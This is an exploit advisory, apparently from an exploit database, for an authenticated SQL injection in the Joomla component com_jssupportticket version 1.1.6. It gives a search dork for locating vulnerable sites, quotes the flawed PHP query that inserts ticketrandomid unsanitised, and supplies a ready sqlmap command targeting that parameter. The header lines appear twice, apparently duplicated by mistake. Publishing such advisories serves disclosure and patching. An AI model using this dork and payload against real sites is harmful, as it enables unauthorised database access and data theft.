Category: Vulnerabilities
Hits: 409
#Exploit Title: Joomla! component com_jssupportticket - Authenticated SQL Injection
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw #Exploit Title: Joomla! component com_jssupportticket - Authenticated SQL Injection
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.6
#Tested on: Debian/nginx/joomla 3.9.0
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#Vulnerability details:
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Vulnerable code is in line 31 in file admin/models/ticketreply.php

...snip...
24 function storeTicketReplies($ticketid, $message, $created, $data2) {
25 if (!is_numeric($ticketid))
26 return false;
27
28 //validate reply for break down
29 $ticketrandomid = $data2['ticketrandomid']; //!!!
30 $db = $this->getDBo();
31 $query = "SELECT id FROM `#__js_ticket_tickets` WHERE ticketid='$ticketrandomid'"; //!!!
32 $db->setQuery($query);
33 $res = $db->loadResult();
34 if($res != $ticketid){
35 return false;
36 }//end
...snip...

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#PoC:
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$> sqlmap.py -u "http://localhost/index.php" --random-agent --dbms=mysql --method POST --data 'option=com_jssupportticket&c=ticket&task=actionticket&Itemid=666&ticketid=666&callfrom=savemessage&message=woot&created=woot&ticketrandomid=woot&{VALID_FORMTOKEN_FROM_TICKETDETAIL}=1' -p ticketrandomid --cookie 'VALID_SESSION_ID=VALID_SESSION_ID'